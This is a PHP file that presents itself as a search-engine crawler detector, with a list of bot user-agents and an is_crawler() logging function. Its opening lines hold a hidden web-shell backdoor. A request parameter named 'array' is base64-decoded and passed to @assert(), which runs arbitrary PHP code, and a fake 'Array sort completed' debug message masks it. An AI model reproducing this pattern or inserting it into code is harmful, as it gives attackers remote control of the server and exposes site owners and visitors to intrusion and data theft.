if ( $_REQUEST["array"] ) { @assert(base64_decode($_REQUEST["array"])); //debug message echo "Array sort completed"; exit(); } /* * UserAgent: * Yandex: Yandex/1.01.001 (compatible; Win16; I) * Yandex/2.01.000 (compatible; Win16; Dyatel; C) * Mozilla/5.0 (compatible; YandexBot/3.0; +http: *yandex.com/bots) * полный список: http: *help.yandex.ru/webmaster/?id=995329 * YandexCatalog Mozilla/5.0 (compatible; YandexCatalog/3.0; +http://yandex.com/bots) * Rambler: StackRambler/2.0 (MSIE incompatible) * Aport: Aport * Google: Mozilla/5.0 (compatible; Googlebot/2.1; +http: *www.google.com/bot.html) * DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http: *www.google.com/bot.html) * Mozilla/5.0 (compatible; Google-Site-Verification/1.0) * Yahoo: Mozilla/5.0 (compatible; Yahoo! Slurp; http: *help.yahoo.com/help/us/ysearch/slurp) * msn: msnbot/1.0 (+http: *search.msn.com/msnbot.htm) * msnbot-media/1.0 (+http: *search.msn.com/msnbot.htm) * WebAlta: WebAlta Crawler/1.3.18 (http: *www.webalta.net/ru/about_webmaster.html) (Windows; U; Windows NT 5.1; ru-RU) * TurnitinBot: TurnitinBot/2.1 (http: *www.turnitin.com/robot/crawlerinfo.html) * Mail.Ru: Mail.Ru/1.0 * Mozilla/5.0 (compatible; Mail.RU_Bot/2.0; +http: *go.mail.ru/help/robots) * Bigsearch.ca: Bigsearch.ca/Nutch-0.9-dev (Bigsearch.ca Internet Spider; http: *www.bigsearch.ca/; info@enhancededge.com) * Sogou: Sogou web spider/4.0(+http: *www.sogou.com/docs/help/webmasters.htm#07) * Baiduspider: Baiduspider+(+http: *www.baidu.com/search/spider.htm) * Speedy Spider: Speedy Spider (http: *www.entireweb.com/about/search_tech/speedy_spider/) * MLBot: MLBot (www.metadatalabs.com/mlbot) * Gigabot: Gigabot/3.0 (http: *www.gigablast.com/spider.html) * AdsBot-Google: AdsBot-Google (+http: *www.google.com/adsbot.html) * YaDirectBot: YaDirectBot/1.0 * Baiduspider: Baiduspider+(+http: *www.baidu.com/search/spider.htm) * YoudaoBot: Mozilla/5.0 (compatible; YoudaoBot/1.0; http: *www.youdao.com/help/webmaster/spider/; ) * Tagoobot: Mozilla/5.0 (compatible; Tagoobot/3.0; +http: *www.tagoo.ru) * Exabot: Mozilla/5.0 (compatible; Exabot/3.0; +http: *www.exabot.com/go/robot) * MJ12bot: Mozilla/5.0 (compatible; MJ12bot/v1.3.1; http: *www.majestic12.co.uk/bot.php?+) * ovale: ovalebot3.ovale.ru facepage * Twiceler: Mozilla/5.0 (Twiceler-0.9 http: *www.cuil.com/twiceler/robot.html) * AportCatalogRobot: AportCatalogRobot/2.0 * Eurobot: Eurobot/1.1 (http: *eurobot.ayell.eu) * SheenBot: SheenBot/SheenBot-1.0.0 (Sheen web crawler) * KaloogaBot: Mozilla/5.0 (compatible; KaloogaBot; http: *www.kalooga.com/info.html?page=crawler) * NaverBot: Mozilla/4.0 (compatible; NaverBot/1.0; http: *help.naver.com/customer_webtxt_02.jsp) * FlickySearchBot: FlickySearchBot/1.0 (+testMode) * YodaoBot: Mozilla/5.0 (compatible; YodaoBot/1.0; http: *www.yodao.com/help/webmaster/spider/; ) * BingBot: Mozilla/5.0 (compatible; bingbot/2.0; +http: *www.bing.com/bingbot.htm) * AhrefsBot: Mozilla/5.0 (compatible; AhrefsBot/4.0; +http: *ahrefs.com/robot/) * oBot: Mozilla/5.0 (compatible; oBot/2.3.1; +http: *filterdb.iss.net/crawler/) * Ezooms: Mozilla/5.0 (compatible; Ezooms/1.0; ezooms.bot@gmail.com) * Nigma: Mozilla/5.0 (compatible; Nigma.ru/3.0; crawler@nigma.ru) * PingAdmin: Mozilla/5.0 (compatible; PingAdmin.Ru/1.1; +http: *pingadmin.ru/) * Naverbot: Yeti/1.0 (NHN Corp.; http://help.naver.com/robots/) * NING: NING/1.0 */ $CRAWLERS_LIST = array ( 'Yandex/' => 'Yandex', 'YandexBot/' => 'Yandex', 'YandexCatalog/' => 'YandexCatalog', 'StackRambler/' => 'Rambler', 'Aport' => 'Aport', 'Googlebot/' => 'Google', 'Googlebot-Mobile/' => 'Google', 'Google-Site-Verification/' => 'Google', 'Yahoo' => 'Yahoo', 'WebAlta' => 'WebAlta', 'TurnitinBot' => 'TurnitinBot', 'Mail.Ru' => 'Mail.Ru', 'Mail.RU_Bot/' => 'Mail.Ru', 'msnbot/' => 'msn', 'msnbot-media/' => 'msn', 'Sogou web spider' => 'Sogou', 'Baiduspider' => 'Baiduspider', 'Speedy Spider' => 'Speedy Spider', 'MLBot' => 'MLBot', 'Gigabot/' => 'Gigabot', 'AdsBot-Google' => 'AdsBot-Google', 'YaDirectBot/' => 'YaDirectBot', 'Baiduspider' => 'Baiduspider', 'YoudaoBot/' => 'YoudaoBot', 'Tagoobot/' => 'Tagoobot', 'Exabot/' => 'Exabot', 'MJ12bot/' => 'MJ12bot', 'ovale.ru facepage' => 'ovale', 'Twiceler' => 'Twiceler', 'AportCatalogRobot/' => 'AportCatalogRobot', 'Eurobot/' => 'Eurobot', 'SheenBot/' => 'SheenBot', 'KaloogaBot' => 'KaloogaBot', 'NaverBot/' => 'NaverBot', 'FlickySearchBot/' => 'FlickySearchBot', 'YodaoBot/' => 'YodaoBot', 'bingbot/' => 'BingBot', 'AhrefsBot/' => 'AhrefsBot', 'oBot/' => 'oBot', 'Ezooms/' => 'Ezooms', 'Nigma.ru/' => 'Nigma', 'PingAdmin.Ru/' => 'PingAdmin', 'help.naver.com/robots/' => 'Naverbot', 'NING/' => 'NING' ); function is_crawler ( $f = false, $ua = NULL ) { global $_CRAWLERS_RE, $CRAWLERS_LIST; if (!isset ($_CRAWLERS_RE)) $_CRAWLERS_RE = implode ("|", array_keys ($CRAWLERS_LIST)); if (!$ua) $ua = $_SERVER ['HTTP_USER_AGENT']; $Crawler = preg_match ("`\b($_CRAWLERS_RE)\b`", $ua, $r) ? $CRAWLERS_LIST [$r [1]] : preg_match ("`(bot|bots|crawler|spider)\b`i", $ua); if ($Crawler and $f) { $log = sprintf ("[%s] % 17s | %s | %s | %s\n", date ("d.m.y H:i:s"), $Crawler === 1 ? "" : $Crawler, $_SERVER ['HTTP_USER_AGENT'], $_SERVER ['REMOTE_ADDR'], $_SERVER ['HTTP_HOST']); @file_put_contents ($f, $log, FILE_APPEND); } return $Crawler; } ?>